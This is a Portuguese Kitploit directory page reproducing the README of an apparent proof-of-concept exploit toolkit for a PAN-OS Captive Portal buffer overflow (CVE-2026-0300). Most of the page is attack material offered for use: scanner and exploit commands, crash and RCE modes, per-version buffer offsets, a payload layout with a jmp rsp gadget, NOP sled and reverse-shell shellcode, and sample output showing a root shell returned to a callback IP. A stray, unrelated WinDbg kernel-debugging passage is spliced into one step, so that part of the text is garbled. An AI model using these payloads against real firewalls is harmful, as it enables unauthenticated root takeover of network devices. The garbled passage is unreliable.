Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2026-0300-exploit — Palo Alto - CVE-2026-0300 exploit | Kitploit
Ferramentas/GitHubGitHub/sam00/poc-cve-2026-0300-exploit
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingShellcode GenerationPayload DevelopmentBinary Exploitation
GitHubsam00/poc-cve-2026-0300-exploit

POC-CVE-2026-0300-exploit

Palo Alto - CVE-2026-0300 exploit

há 15 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2026-0300 — Exploit de Buffer Overflow no Portal de Autenticação User-ID do PAN-OS

Crítico (CVSS 9.3) — Execução Remota de Código Não Autenticada no Captive Portal do PAN-OS da Palo Alto Networks

Sumário

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Versões Afetadas
  • Diagramas de Arquitetura
  • Estrutura do Projeto
  • Instalação
  • Uso do Scanner — Passo a Passo
  • Uso do Exploit — Passo a Passo
  • Design do Payload
  • Mitigação
  • Aviso Legal

Visão Geral

O CVE-2026-0300 é uma vulnerabilidade crítica de buffer overflow no serviço User-ID Authentication Portal (também conhecido como Captive Portal) do software PAN-OS da Palo Alto Networks. Um atacante não autenticado pode explorar esta vulnerabilidade enviando pacotes especialmente criados para executar código arbitrário com privilégios de root em firewalls PA-Series e VM-Series.

Este repositório contém um toolkit de exploit de prova de conceito, incluindo:

  • Gerador de payload com offsets específicos por versão e shellcode de reverse shell x86_64
  • Scanner para detectar alvos vulneráveis do Captive Portal
  • Exploit com três modos: detecção, crash (DoS) e RCE completo

Detalhes da Vulnerabilidade

Descrição

Uma vulnerabilidade de buffer overflow no serviço User-ID Authentication Portal do software PAN-OS permite que um atacante não autenticado execute código arbitrário com privilégios de root no firewall enviando pacotes especialmente criados. O serviço HTTP do Captive Portal usa buffers de pilha de tamanho fixo para analisar cabeçalhos HTTP, que podem ser estourados por meio de valores de cabeçalho excessivamente grandes (Cookie, User-Agent, URI ou corpo do POST).

Configuração Necessária para Exposição

Ambas as condições devem ser verdadeiras para que um alvo seja vulnerável:

  1. Portal de Autenticação User-ID habilitado — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
  2. Perfil de gerenciamento de interface com páginas de resposta — anexado a uma interface L3 em uma zona onde tráfego não confiável/internet pode entrar.

Referência do Advisory

  • Advisory Oficial: https://security.paloaltonetworks.com/CVE-2026-0300
  • Diretrizes de Melhores Práticas: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

Versões Afetadas

Não impactados: Prisma Access, Cloud NGFW, appliances Panorama.


Diagramas de Arquitetura

Arquitetura do Sistema```

┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Fluxo do Scanner```
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip port  │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443,8843)      │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Captive Portal   │──────────▶│ Not exposed │
│ fingerprint?     │            └─────────────┘
│ (login.esp,      │
│  User-ID, PA-,   │
│  PAN-OS, etc.)   │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract PAN-OS   │
│ version from     │
│ Server header /  │
│ response body    │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Matched ranges │
│ • SSL cert info  │
└──────────────────┘

Fluxo do Exploit (Modo RCE)```

┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Estrutura do Projeto```
POC-CVE-2026-0300-exploit/
├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Instalação```bash

Clone the repository

git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

Install dependencies (requests is optional — raw sockets are used by default)

pip3 install -r requirements.txt

root@kitploit:~
**Requisitos**: Python 3.8+, apenas biblioteca padrão para funcionalidade principal. `requests` é opcional.

---

## Uso do Scanner — Passo a Passo

O scanner realiza verificações seguras e não intrusivas para identificar alvos vulneráveis do PAN-OS Captive Portal.

### Passo 1: Escanear um único alvo```bash
python3 scan.py --target 192.168.1.1

O scanner irá:

  • Sondar portas comuns (443, 80, 8080, 8443, 8843)
  • Enviar solicitações HTTP e verificar impressões digitais de Captive Portal
  • Extrair a versão do PAN-OS dos cabeçalhos Server e do corpo da resposta
  • Verificar se a versão está dentro das faixas vulneráveis
  • Imprimir um relatório codificado por cores

Passo 2: Escanear com Porta Específica```bash

python3 scan.py --target 192.168.1.1 --port 443

root@kitploit:~
### Passo 3: Escanear Múltiplos Alvos a Partir de um Arquivo

Crie um arquivo `targets.txt` com um alvo por linha:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
  • Primeiro carregue nt!(Nt)Close dentro do WinDbg
  • Defina Break on Access usando ba e 1 no endereço de kernel CiCheckSignedFile.
  • Quando o ponto de interrupção for acionado no WinDbg, precisamos corresponder ao primeiro parâmetro, que é um PSECURITY_SUBJECT_CONTEXT.
  • dt nt!_SEP_TOKEN_PRIVILEGES 0xffffc08271f08b40+0x28 (use o offset dos seus privilégios de token).
  • Percorra os privilégios do token e procure por SeDelegatePrivilege (leia Ajuda -> driver referenciando Driver Blocked e Vulnerable Driver Blocklist).```bash python3 scan.py --targets targets.txt
root@kitploit:~
### Passo 4: Salvar Resultados como JSON```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json

Exemplo de Saída do Scanner```

==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

root@kitploit:~
### O que o scanner detecta

| Indicador | Método |
|-----------|--------|
| Portal cativo exposto | Correspondência de impressão digital HTTP (login.esp, User-ID, PA-, padrões PAN-OS) |
| Versão do PAN-OS | Análise do cabeçalho do servidor, extração por regex do corpo da resposta |
| Versão vulnerável | Comparação com as faixas de versões afetadas pela CVE-2026-0300 |
| Certificado SSL | Assunto/emissor do certificado para identificação do alvo |

---

## Uso do Exploit — Passo a Passo

O exploit suporta três modos de intensidade crescente.

### Modo 1: Detectar (Seguro, Não Intrusivo)

Envia um cabeçalho moderadamente aumentado e compara a resposta com uma solicitação normal. NÃO derruba o serviço.```bash
python3 exploit.py --target 192.168.1.1 --mode detect

O que faz:

  • Envia um cabeçalho Cookie de 4KB (superdimensionado, mas sem carga ofensiva)
  • Envia uma solicitação normal para comparação de linha de base
  • Relata se o alvo responde de forma diferente a entrada superdimensionada
  • Indica provável vulnerabilidade se as respostas diferirem

Modo 2: Crash (Validação de DoS)

Envia um payload de estouro de buffer com um endereço de retorno inválido (0x41414141) para causar uma falha no serviço Captive Portal.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

root@kitploit:~
**O que faz**:
- Gera um payload de estouro específico da versão
- Sobrescreve o endereço de retorno com 0x4141414141414141
- Envia pelo vetor de estouro escolhido (padrão: cabeçalho Cookie)
- Verifica a queda do serviço com uma requisição de acompanhamento
- Relata se o serviço está fora do ar após o payload

**Opções**:
- `--vector cookie|ua|uri|post` — Escolha o vetor de estouro (padrão: cookie)
- `--http` — Usar HTTP em vez de HTTPS

### Modo 3: RCE Completo (Reverse Shell)

Envia um estouro de buffer com um payload de reverse shell. Inicia um listener para receber o callback.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
    --version 11.2.7 \
    --callback-ip 10.0.0.1 \
    --callback-port 4444

O que ele faz:

  • Gera payload: padding + gadget ROP (jmp rsp) + NOP sled + shellcode de reverse shell
  • Inicia um listener TCP no IP:porta de callback
  • Envia a requisição HTTP armada para o alvo
  • Aguarda o callback do reverse shell
  • Relata sucesso se uma conexão for recebida

Argumentos obrigatórios:

  • --version — Versão do PAN-OS alvo (determina o offset do buffer e o gadget ROP)
  • --callback-ip — Seu endereço IP (deve ser alcançável a partir do alvo)
  • --callback-port — Porta para o callback do reverse shell (padrão: 4444)

Argumentos opcionais:

  • --vector cookie|ua|uri|post — Vetor de overflow (padrão: cookie)
  • --nop-sled 128 — Tamanho do NOP sled em bytes (padrão: 128)
  • --timeout 30 — Tempo limite de conexão e listener em segundos
  • --http — Usar HTTP em vez de HTTPS
  • --json report.json — Salvar relatório do exploit como JSON

Exemplo de Saída do Exploit (RCE)```

[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

root@kitploit:~
### Versões Suportadas e Vetores

**Versões** (com deslocamentos de buffer específicos por versão):

| Versão | Offset do Buffer | Gadget ROP | Vetor Padrão |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |

**Vetores**:

| Vetor | Cabeçalho/Local | Descrição |
|--------|----------------|-------------|
| `cookie` | Cabeçalho Cookie | Estouro via valor de Cookie excessivamente grande |
| `ua` | Cabeçalho User-Agent | Estouro via valor de User-Agent excessivamente grande |
| `uri` | Caminho da URI da solicitação | Estouro via caminho de URI excessivamente grande |
| `post` | Corpo do POST | Estouro via dados de formulário POST excessivamente grandes |

---

## Design do Payload

### Layout do Buffer Overflow```
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
│  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
│  offset) │  Pointer │  (jmp    │  (\x90   │                    │
│          │  (8 B)   │  rsp)    │  * N)    │                    │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
           ↑                     ↑
           Buffer overflow       Return address overwritten
           overwrites here       with jmp rsp gadget

Shellcode

O exploit usa shellcode Linux x86_64 independente de posição que:

  1. Cria um socket TCP (socket(AF_INET, SOCK_STREAM, 0))
  2. Conecta-se de volta ao IP:porta do atacante (connect())
  3. Redireciona stdin/stdout/stderr para o socket (dup2())
  4. Executa uma shell (execve("/bin/sh", NULL, NULL))

Tamanho total do shellcode: ~184 bytes, contém instruções syscall (\x0f\x05).


Mitigação

Ações Imediatas

  1. Restrinja o acesso ao Portal de Autenticação de User-ID — limite apenas a endereços IP internos confiáveis
  2. Desative as páginas de resposta em interfaces não confiáveis (Network > Interface > Advanced > Management Interface Profile)
  3. Desative o Portal de Autenticação se não for necessário (Device > User Identification > Authentication Portal Settings)
  4. Atualize o PAN-OS para uma versão corrigida

Versões Corrigidas

  • PAN-OS 10.2: 10.2.7-h34 e posteriores
  • PAN-OS 11.1: 11.1.15 e posteriores
  • PAN-OS 11.2: 11.2.12 e posteriores
  • PAN-OS 12.1: 12.1.7 e posteriores

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use apenas em sistemas que você possui ou para os quais tenha autorização explícita por escrito para testar. O uso não autorizado contra sistemas de produção é ilegal e pode violar leis de fraude e abuso de computadores.

Os autores não assumem qualquer responsabilidade pelo uso indevido desta ferramenta. Sempre siga práticas de divulgação responsável e esteja em conformidade com as leis e regulamentos aplicáveis.

Baixar ferramenta
CampoValor
CVE IDCVE-2026-0300
SeveridadeCRÍTICO
CVSS 4.09.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
CWECWE-787: Escrita fora dos limites
CAPECCAPEC-100: Estouro de buffers
ImpactoExecução Remota de Código Não Autenticada (root)
Status de ExploraçãoExploração limitada observada em ambiente real
Branch do PAN-OSVersões VulneráveisVersão Corrigida
10.210.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.1810.2.7-h34+
11.111.1.0–11.1.1411.1.15+
11.211.2.0–11.2.1111.2.12+
12.112.1.0–12.1.612.1.7+